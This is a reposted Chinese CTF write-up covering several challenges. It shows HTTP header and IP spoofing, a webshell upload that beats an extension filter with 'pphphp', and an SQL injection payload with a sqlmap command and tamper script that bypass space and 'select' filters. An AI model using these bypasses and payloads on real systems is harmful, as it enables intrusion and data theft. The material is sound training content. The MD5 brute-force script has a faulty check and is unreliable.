結業賽題部分題解
- 簽到題
- HTTP
- black_list
- py
- MD5
- Sprintf
簽到題
是一個很簡單的web簽到題,查看網頁源代碼,發現里面注釋了一段base64對其解碼就是flag:

HTTP
打開題目有個提示一起闖關吧,進入題目發現說不是secdriver瀏覽器,使用瀏覽器偽造輕松繞過:User-Agent:secdriver,然后又說不是admin用戶,發現請求頭里有個admin=0,這應該就是判斷是否為ADMIN用戶的依據,將其置為1繞過,然后是說不是本地,通過偽造IP為127.0.0.1進行繞過,最后是必須是德國語言才能查看flag百度了一下為DE,后來發現主辦方給出了提示:


black_list
一道簡單的檔案上傳的題目,首先上傳了一句話木馬,發現可以直接上傳成功,但是通過通過查看原始碼的時候發現檔案的后綴php沒了,猜想應該是對php進行了過濾,利用雙寫進行繞過即可:1.pphphp,在通過中國菜刀等工具連接即可,
# no_space
一道sql注入的題目,根據題目的提示想到了空格過濾使用/**/就可以繞過,然后發現對select也進行了過濾,可以使用雙寫進行繞過:selselectect:
1、手工注入最后的payload:
-1'/**/union/**/selselectect/**/1,group_concat(id,0x23,id,email_id),3/**/from/**/emails%23
2、使用sqlmap:
sqlmap.py -u url/?id=0 -p id -v 3 --level=3 --tamper=doubleselect.py --tamper=space2comment.py --technique=U –current-db --batch --flush-session
temper繞過腳本:
#!/usr/bin/env python
'''
sqlmap 雙寫繞過
by:shadowwolf
'''
from lib.core.compat import xrange
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
payload= payload.lower()
payload= payload.replace('select' , 'selselectect')
retVal=payload
return retVal
py
簡單的加密演算法,看懂其中的邏輯后就可以撰寫解題的腳本了,先解碼,在進行字串AScii-3:
import base64
c = 'aW9kan48NGlnPGY6aDA2ZGhoMDQ0aGYwOzZoMzA3N2RpNTtkOjg1NjrCgA=='
def x(string):
return str(base64.b64decode(string.encode()).decode('utf-8'))
pass
def y(string):
r = ''
for c in string:
r += chr(ord(c)-3)
return r
pass
cipher = y(x(c))
print(cipher)
MD5
題目是MD5通,使用腳本暴力破解缺失字符,并確定進行MD5判斷:
import hashlib
#flag{P7?Y0OG?0XPC?ZPK}
s1 = "flag{P7"
s2 = "Y0OG"
s3 = "0XPC"
s4 = "ZPK}"
str = ['0','1','2','3','4','5','6','7','8','9','0','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z']
for i in str:
for j in str:
for k in str:
flag = s1 + i + s2 + j + s3 + k + s4
pre = hashlib.md5()
pre.update(flag)
md5 = str(pre.hexdigest())
#9e86????007f??9a38???449a?0ea7cf
if ('9e86' and '9a38' and '0ea7cf') in md5 :
print md5
print flag
Sprintf
查看程式是否加殼,然后通過IDA64位打開,找到main函式,讀取偽代碼:
通過對偽代碼的解讀發現其flag就是flag(%s%s%s%s%s%s%s),撰寫解題腳本:
#include <stdio.h>
int main()
{
long long int v16 = 95LL;
long long int v17 = 0;
long long int v14 = 1735290739LL;
long long int v15 = 0;
long long int v12 = 7234918LL;
long long int v13 = 0;
long long int v10 = 26990LL;
long long int v11 = 0;
long long int v8 = 444233509240LL;
long long int v9 = 0;
printf("flag{%s%s%s%s%s%s%s}", &v14, &v16, &v12, &v16, &v10, &v16, &v8);
}
# 百度網盤
pyc檔案,進行反編譯py檔案里有BV的提示,猜測是嗶哩嗶哩的視頻號
訪問后看到鏈接

MD5取哈希后就是flag
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/350832.html
標籤:其他
